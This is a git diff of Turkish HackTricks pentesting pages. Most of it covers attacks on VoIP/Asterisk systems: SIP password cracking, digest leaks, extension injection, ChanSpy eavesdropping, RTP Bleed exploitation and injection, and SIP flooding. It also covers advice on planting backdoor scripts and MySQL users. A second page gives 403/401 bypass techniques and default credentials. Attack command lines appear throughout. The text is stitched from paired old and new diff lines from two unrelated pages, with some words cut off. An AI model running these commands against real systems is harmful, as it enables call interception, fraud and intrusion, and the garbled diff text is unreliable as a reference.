svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birden fazla kullanıcı için şifreleri test edebilir.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -310,7 +310,7 @@ Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgi
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri yeniden üreterek **konuşmayı duyabilirsiniz** ve daha fazlası.
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak **VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff) 'dir.
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için **özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff)dir.
{% hint style="danger" %}
**SIP iletişiminde TLS kullanılıyorsa**, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.\
@ -340,7 +340,7 @@ sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF kodları
**SIP kimlik bilgileri** yalnızca ağ trafiğinde bulunmakla kalmaz, aynı zamanda **sesli mesaj** erişimi gibi durumlarda kullanılan DTMF kodlarını da bulmak mümkündür.\
**Sadece SIP kimlik bilgileri** ağ trafiğinde bulunmakla kalmaz, aynı zamanda **sesli mesaj** erişimi için kullanılan DTMF kodlarını da bulmak mümkündür.\
Bu kodlar **INFO SIP mesajları**, **ses** veya **RTP paketleri** içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:
```bash
multimon -a DTMF -t wac pin.wav
@ -352,17 +352,17 @@ Asterisk'te **belirli bir IP adresinden** veya **herhangi bir IP adresinden** bi
host=10.10.10.10
host=dynamic
```
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeyecek (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için bağlantılara izin veren ık portlara sahip olması gerekecek.
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
* **`type=user`**: Kullanıcı yalnızca çağrı alabilir.
* **`type=friend`**: olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla birlikte kullanılır)
* **`type=peer`**: olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
* **`type=friend`**: Peer olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla kullanılır)
* **`type=peer`**: Peer olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
* **`insecure=port`**: IP tarafından doğrulanan eş bağlantılara izin verir.
* **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir.
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez
* **`insecure=port,invite`**: Her ikisi de
@ -433,11 +433,11 @@ VoIP sistemlerindeki IVRS genellikle şunlardan oluşur:
1. **Sesli istemler**: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
2. **DTMF** (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
3. **Çağrı yönlendirme**: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlar, ajanlar veya dahili hatlar gibi uygun bir hedefe yönlendirme.
3. **Çağrı yönlendirme**: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlara, temsilcilere veya dahili numaralara yönlendirme.
4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
5. **Dış sistemlerle entegrasyon**: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.
Asterisk VoIP sisteminde, **`extensions.conf`** dosyasını ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini yakalama ve çağrı akışını kontrol etme konusunda yardımcı olur.
Asterisk VoIP sisteminde, **`extensions.conf`** dosyası ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamalar kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini yakalama ve çağrı akışını kontrol etme konusunda yardımcı olur.
#### Zayıf yapılandırma örneği
```scss
@ -448,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Önceki, kullanıcının bir departmanı aramak için **1'e basması**, başka birini aramak için **2'ye basması** veya biliyorsa **tam uzantıyı** girmesi istendiği bir örnektir.\
ık, belirtilen **uzantı uzunluğunun kontrol edilmemesi, bir kullanıcının 5 saniyelik zaman aşımında tam bir numara girmesi ve bunun araması olabileceğidir.**
ık, belirtilen **uzantı uzunluğunun kontrol edilmemesi, bir kullanıcının 5 saniyelik zaman aşımını tam bir numara girmesi ve bunun araması yapılabilmesidir.**
### Uzantı Enjeksiyonu
@ -461,7 +461,7 @@ Where **`${EXTEN}`** is the **extension** that will be called, when the **ext 10
```scss
exten => 101,1,Dial(SIP/101)
```
Ancak, eğer **`${EXTEN}`** **sayıların dışında daha fazlasını** girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olacaktır:
Ancak, eğer **`${EXTEN}`** **sayıların dışında daha fazla şey** girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olacaktır:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
@ -475,7 +475,7 @@ SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adapt
1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
2. Saldırgan IP Telefone bir INVITE gönderiyor
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor)
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu mıyor)
4. Telefon kapatıldığında, **kurban telefon saldırgana bir BYE gönderiyor**
5. **Saldırgan bir 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor
6. **Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor**
@ -534,7 +534,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asterisk'te, gerçekleşen konuşmaları duymak için **izlenecek uzantıları** (veya hepsini) belirten **`ChanSpy`** komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** ifadesi, eğer **uzantı 333'ü ararsanız**, **`all`** uzantılarını **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir, çünkü buna müdahale etmek istemiyoruz. **`*`** tuşuna basarak veya uzantı numarasını tuşlayarak bir konuşmadan diğerine geçebilirsiniz.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** ifadesi, eğer **uzantı 333'ü ararsanız**, **`all`** uzantılarını **izleyecektir**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacaktır, çünkü buna müdahale etmek istemiyoruz. Bir konuşmadan diğerine geçmek için **`*`** tuşuna basabilir veya uzantı numarasını tuşlayabilirsiniz.
Sadece bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
@ -558,13 +558,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
**RTCPBleed**, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zaman Protokolü) trafiğinin**, **İnternetteki herkes tarafından dinlenip yönlendirilebilmesine** olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.
RTP proxy'leri, RTC sistemlerini etkileyen **NAT sınırlamalarını** ele almak için iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilecekleri ve/veya işleyebilecekleridir**. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanıyan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)'i kontrol edin.
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
```bash
@ -574,11 +574,11 @@ sippts rtpbleed -i 10.10.0.10
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed ığını istismar eder.
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed zafiyetini istismar eder.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed zafiyetini istismar eder.
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed ığını istismar eder.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
@ -591,14 +591,14 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
Eğer sunucu **`System`** komutunda belirli karakterlerin kullanılmasına **izin vermiyorsa** (Elastix'te olduğu gibi), web sunucusunun **sistemde dosya oluşturmasına izin verip vermediğini** kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu **bir arka kapı scripti oluşturmak için** kullanın, ardından **`System`** ile bu **scripti çalıştırın**.
Eğer sunucu **`System`** komutunda belirli karakterlerin kullanılmasına **izin vermiyorsa** (Elastix gibi), web sunucusunun **sistemde dosya oluşturmasına izin verip vermediğini** kontrol edin (Elastix veya trixbox gibi) ve bunu **bir arka kapı scripti oluşturmak için** kullanın, ardından **`System`** ile bu **scripti çalıştırın**.
{% endhint %}
#### İlginç yerel dosyalar ve izinler
* **`sip.conf`** -> SIP kullanıcılarının şifresini içerir.
* Eğer **Asterisk sunucusu root olarak çalışıyorsa**, root'u tehlikeye atabilirsiniz.
* **mysql root kullanıcısının** **herhangi bir şifresi olmayabilir**.
* **mysql root kullanıcısının** **h şifresi olmayabilir**.
* bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`FreePBX`**
* **`amportal.conf`** -> Web paneli yöneticisinin şifresini içerir (FreePBX).
@ -610,7 +610,7 @@ Eğer sunucu **`System`** komutunda belirli karakterlerin kullanılmasına **izi
### RTP Enjeksiyonu
**`.wav`** dosyasını konuşmalara eklemek, **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanılarak mümkündür.
**`.wav`** dosyasını konuşmalara eklemek için **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanılabilir.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresindeki scriptleri kullanarak **konuşmaları tarayabilir** (**`rtpscan.pl`**), bir konuşmaya **`.wav`** gönderebilir (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyebilirsiniz** (**`rtpflood.pl`**).
@ -618,9 +618,9 @@ Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversa
VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
* **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
* **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan DoS IAX protokolü.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
@ -631,7 +631,7 @@ VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
### OS Güvenlik Açıkları
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Sorun şu ki, bir kez çalışmaya başladığında sistem yöneticileri **bir daha güncellemeyebilir** ve **güvenlik açıkları** zamanla keşfedilecektir.
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bu sistemlerin sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin **bir daha güncellemeyebileceği** ve **güvenlik açıklarının** zamanla keşfedileceğidir.
## Referanslar
@ -648,9 +648,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -659,7 +659,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -29,13 +29,13 @@ Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST
* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız.
* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak fiili geçersiz kılabilir.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıtınızda **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu da faydalı olabilir.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu da faydalı olabilir.
## HTTP Başlıkları Fuzzing
* **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Kaynağa erişmek için [**diğer Kullanıcı Araçlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
* **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri deneyin. Bunu yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
* **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri deneyin. Bunu yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -56,16 +56,16 @@ Eğer **yol korunuyorsa** bu diğer başlıkları kullanarak yol korumasını a
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** istismar etmeyi deneyin.**
* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzlayın.
* **HTTP Yöntemlerini** fuzzlarken **özel HTTP başlıklarını** fuzzlayın.
* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın.
* **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın.
* **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz.
## Yol **Fuzzing**
Eğer _/path_ engellenmişse:
* _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlama) deneyin.
* **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
* _**/**_**%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca**\_\*\* /%252e\*\*/path (çift URL kodlama) deneyin.
* **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü zaten aşmış olacaksınız.
* **Diğer yol bypass'leri**:
* site.com/secret > HTTP 403 Yasak
* site.com/SECRET > HTTP 200 Tamam
@ -96,7 +96,7 @@ Eğer _/path_ engellenmişse:
* **param değerini değiştirin**: **`id=123` --> `id=124`**
* URL'ye ek parametreler ekleyin: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Parametreleri kaldırın
* Parametrelerin sırasını değiştirin
* Parametreleri yeniden sıralayın
* Özel karakterler kullanın.
* Parametrelerde sınır testi yapın — _-234_ veya _0_ veya _99999999_ gibi değerler sağlayın (sadece bazı örnek değerler).
@ -106,14 +106,14 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip
## **Diğer Bypass'ler**
* Alanın **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı deneyin**.
* Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı deneyin**.
* **Sunucuyu zorlayın** yaygın GET istekleri göndererek ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Protokolü değiştirin**: http'den https'ye veya https'den http'ye.
* [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin.
## **Brute Force**
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı?
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adını mı?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
{% code title="Yaygın kimlik bilgileri" %}
@ -140,15 +140,15 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanarak, 20'den fazla özel aracımızı kullanın ve sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# 80,443 - Pentesting Web Methodology
